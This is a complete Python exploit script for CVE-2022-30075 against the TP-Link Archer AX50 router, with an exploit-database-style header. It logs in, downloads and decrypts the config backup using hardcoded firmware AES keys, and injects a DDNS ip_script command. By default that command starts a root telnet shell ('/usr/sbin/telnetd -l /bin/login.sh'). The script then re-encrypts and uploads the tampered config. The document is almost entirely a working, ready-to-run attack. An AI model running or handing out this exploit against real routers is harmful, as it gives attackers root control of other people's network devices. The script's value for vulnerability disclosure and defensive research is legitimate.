# Exploit Title: TP-Link Router AX50 firmware 210730 - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Tomas Melicher
# Technical Details: https://github.com/aaronsvk/CVE-2022-30075
# Date: 2022-06-08
# Vendor Homepage: https://www.tp-link.com/
# Tested On: Tp-Link Archer AX50
# Vulnerability Description: Remote Code Execution via importing malicious config file
# CVE: CVE-2022-30075

#!/usr/bin/python3

import argparse # pip install argparse
import requests # pip install requests
import binascii, base64, os, re, json, sys, time, math, random, hashlib
import tarfile, zlib
from Crypto.Cipher import AES, PKCS1_v1_5, PKCS1_OAEP # pip install pycryptodome
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
from urllib.parse import urlencode

class WebClient(object):

  def __init__(self, target, password):
    self.target = target
    self.password = password.encode('utf-8')
    self.password_hash = hashlib.md5(('admin%s'%password).encode('utf-8')).hexdigest().encode('utf-8')
    self.aes_key = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')
    self.aes_iv = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')

    self.stok = ''
    self.session = requests.Session()

    data = self.basic_request('/login?form=auth', {'operation':'read'})
    if data['success'] != True:
      print('[!] unsupported router')
      return
    self.sign_rsa_n = int(data['data']['key'][0], 16)
    self.sign_rsa_e = int(data['data']['key'][1], 16)
    self.seq = data['data']['seq']

    data = self.basic_request('/login?form=keys', {'operation':'read'})
    self.password_rsa_n = int(data['data']['password'][0], 16)
    self.password_rsa_e = int(data['data']['password'][1], 16)

    self.stok = self.login()


  def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):
    cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
    plaintext_padded = pad(plaintext, aes_block_size)
    return cipher.encrypt(plaintext_padded)


  def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):
    cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
    plaintext_padded = cipher.decrypt(ciphertext)
    plaintext = unpad(plaintext_padded, aes_block_size)
    return plaintext


  def rsa_encrypt(self, n, e, plaintext):
    public_key = RSA.construct((n, e)).publickey()
    encryptor = PKCS1_v1_5.new(public_key)
    block_size = int(public_key.n.bit_length()/8) - 11
    encrypted_text = ''
    for i in range(0, len(plaintext), block_size):
      encrypted_text += encryptor.encrypt(plaintext[i:i+block_size]).hex()
    return encrypted_text


  def download_request(self, url, post_data):
    res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, stream=True)
    filepath = os.getcwd()+'/'+re.findall(r'(?<=filename=")[^"]+', res.headers['Content-Disposition'])[0]
    if os.path.exists(filepath):
      print('[!] can\'t download, file "%s" already exists' % filepath)
      return
    with open(filepath, 'wb') as f:
      for chunk in res.iter_content(chunk_size=4096):
        f.write(chunk)
    return filepath


  def basic_request(self, url, post_data, files_data={}):
    res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, files=files_data)
    return json.loads(res.content)


  def encrypted_request(self, url, post_data):
    serialized_data = urlencode(post_data)
    encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, serialized_data.encode('utf-8'))
    encrypted_data = base64.b64encode(encrypted_data)

    signature = ('k=%s&i=%s&h=%s&s=%d'.encode('utf-8')) % (self.aes_key, self.aes_iv, self.password_hash, self.seq+len(encrypted_data))
    encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature)

    res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data={'sign':encrypted_signature, 'data':encrypted_data}) # order of params is important
    if(res.status_code != 200):
      print('[!] url "%s" returned unexpected status code'%(url))
      return
    encrypted_data = json.loads(res.content)
    encrypted_data = base64.b64decode(encrypted_data['data'])
    data = self.aes_decrypt(self.aes_key, self.aes_iv, AES.block_size, encrypted_data)
    return json.loads(data)


  def login(self):
    post_data = {'operation':'login', 'password':self.rsa_encrypt(self.password_rsa_n, self.password_rsa_e, self.password)}
    data = self.encrypted_request('/login?form=login', post_data)
    if data['success'] != True:
      print('[!] login failed')
      return
    print('[+] logged in, received token (stok): %s'%(data['data']['stok']))
    return data['data']['stok']



class BackupParser(object):

  def __init__(self, filepath):
    self.encrypted_path = os.path.abspath(filepath)
    self.decrypted_path = os.path.splitext(filepath)[0]

    self.aes_key = bytes.fromhex('2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163E39D67579EB344427F7836') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua
    self.iv = bytes.fromhex('360028C9064242F81074F4C127D299F6') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua


  def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):
    cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
    plaintext_padded = pad(plaintext, aes_block_size)
    return cipher.encrypt(plaintext_padded)


  def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):
    cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
    plaintext_padded = cipher.decrypt(ciphertext)
    plaintext = unpad(plaintext_padded, aes_block_size)
    return plaintext


  def encrypt_config(self):
    if not os.path.isdir(self.decrypted_path):
      print('[!] invalid directory "%s"'%(self.decrypted_path))
      return

    # encrypt, compress each .xml using zlib and add them to tar archive
    with tarfile.open('%s/data.tar'%(self.decrypted_path), 'w') as tar:
      for filename in os.listdir(self.decrypted_path):
        basename,ext = os.path.splitext(filename)
        if ext == '.xml':
          xml_path = '%s/%s'%(self.decrypted_path,filename)
          bin_path = '%s/%s.bin'%(self.decrypted_path,basename)
          with open(xml_path, 'rb') as f:
            plaintext = f.read()
          if len(plaintext) == 0:
            f = open(bin_path, 'w')
            f.close()
          else:
            compressed = zlib.compress(plaintext)
            encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)
            with open(bin_path, 'wb') as f:
              f.write(encrypted)
          tar.add(bin_path, os.path.basename(bin_path))
          os.unlink(bin_path)
    # compress tar archive using zlib and encrypt
    with open('%s/md5_sum'%(self.decrypted_path), 'rb') as f1, open('%s/data.tar'%(self.decrypted_path), 'rb') as f2:
      compressed = zlib.compress(f1.read()+f2.read())
    encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)
    # write into final config file
    with open('%s'%(self.encrypted_path), 'wb') as f:
      f.write(encrypted)
    os.unlink('%s/data.tar'%(self.decrypted_path))


  def decrypt_config(self):
    if not os.path.isfile(self.encrypted_path):
      print('[!] invalid file "%s"'%(self.encrypted_path))
      return

    # decrypt and decompress config file
    with open(self.encrypted_path, 'rb') as f:
      decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, f.read())
    decompressed = zlib.decompress(decrypted)
    os.mkdir(self.decrypted_path)
    # store decrypted data into files
    with open('%s/md5_sum'%(self.decrypted_path), 'wb') as f:
      f.write(decompressed[0:16])
    with open('%s/data.tar'%(self.decrypted_path), 'wb') as f:
      f.write(decompressed[16:])
    # untar second part of decrypted data
    with tarfile.open('%s/data.tar'%(self.decrypted_path), 'r') as tar:
      tar.extractall(path=self.decrypted_path)
    # decrypt and decompress each .bin file from tar archive
    for filename in os.listdir(self.decrypted_path):
      basename,ext = os.path.splitext(filename)
      if ext == '.bin':
        bin_path = '%s/%s'%(self.decrypted_path,filename)
        xml_path = '%s/%s.xml'%(self.decrypted_path,basename)
        with open(bin_path, 'rb') as f:
          ciphertext = f.read()
        os.unlink(bin_path)
        if len(ciphertext) == 0:
          f = open(xml_path, 'w')
          f.close()
          continue
        decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, ciphertext)
        decompressed = zlib.decompress(decrypted)
        with open(xml_path, 'wb') as f:
          f.write(decompressed)
    os.unlink('%s/data.tar'%(self.decrypted_path))


  def modify_config(self, command):
    xml_path = '%s/ori-backup-user-config.xml'%(self.decrypted_path)
    if not os.path.isfile(xml_path):
      print('[!] invalid file "%s"'%(xml_path))
      return

    with open(xml_path, 'r') as f:
      xml_content = f.read()

    # https://openwrt.org/docs/guide-user/services/ddns/client#detecting_wan_ip_with_script
    payload = '<service name="exploit">\n'
    payload += '<enabled>on</enabled>\n'
    payload += '<update_url>http://127.0.0.1/</update_url>\n'
    payload += '<domain>x.example.org</domain>\n'
    payload += '<username>X</username>\n'
    payload += '<password>X</password>\n'
    payload += '<ip_source>script</ip_source>\n'
    payload += '<ip_script>%s</ip_script>\n' % (command.replace('<','<').replace('&','&'))
    payload += '<interface>internet</interface>\n' # not worked for other interfaces
    payload += '<retry_interval>5</retry_interval>\n'
    payload += '<retry_unit>seconds</retry_unit>\n'
    payload += '<retry_times>3</retry_times>\n'
    payload += '<check_interval>12</check_interval>\n'
    payload += '<check_unit>hours</check_unit>\n'
    payload += '<force_interval>30</force_interval>\n'
    payload += '<force_unit>days</force_unit>\n'
    payload += '</service>\n'

    if '<service name="exploit">' in xml_content:
      xml_content = re.sub(r'<service name="exploit">[\s\S]+?</service>\n</ddns>', '%s</ddns>'%(payload), xml_content, 1)
    else:
      xml_content = xml_content.replace('</service>\n</ddns>', '</service>\n%s</ddns>'%(payload), 1)
    with open(xml_path, 'w') as f:
      f.write(xml_content)



arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-t', metavar='target', help='ip address of tp-link router', required=True)
arg_parser.add_argument('-p', metavar='password', required=True)
arg_parser.add_argument('-b', action='store_true', help='only backup and decrypt config')
arg_parser.add_argument('-r', metavar='backup_directory', help='only encrypt and restore directory with decrypted config')
arg_parser.add_argument('-c', metavar='cmd', default='/usr/sbin/telnetd -l /bin/login.sh', help='command to execute')
args = arg_parser.parse_args()

client = WebClient(args.t, args.p)
parser = None

if not args.r:
  print('[*] downloading config file ...')
  filepath = client.download_request('/admin/firmware?form=config_multipart', {'operation':'backup'})
  if not filepath:
    sys.exit(-1)

  print('[*] decrypting config file "%s" ...'%(filepath))
  parser = BackupParser(filepath)
  parser.decrypt_config()
  print('[+] successfully decrypted into directory "%s"'%(parser.decrypted_path))

if not args.b and not args.r:
  filepath = '%s_modified'%(parser.decrypted_path)
  os.rename(parser.decrypted_path, filepath)
  parser.decrypted_path = os.path.abspath(filepath)
  parser.encrypted_path = '%s.bin'%(filepath)
  parser.modify_config(args.c)
  print('[+] modified directory with decrypted config "%s" ...'%(parser.decrypted_path))

if not args.b:
  if parser is None:
    parser = BackupParser('%s.bin'%(args.r.rstrip('/')))
  print('[*] encrypting directory with modified config "%s" ...'%(parser.decrypted_path))
  parser.encrypt_config()
  data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'read'})
  timeout = data['data']['totaltime'] if data['success'] else 180
  print('[*] uploading modified config file "%s"'%(parser.encrypted_path))
  data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'restore'}, {'archive':open(parser.encrypted_path,'rb')})
  if not data['success']:
    print('[!] unexpected response')
    print(data)
    sys.exit(-1)

  print('[+] config file successfully uploaded')
  print('[*] router will reboot in few seconds... when it becomes online again (few minutes), try "telnet %s" and enjoy root shell !!!'%(args.t))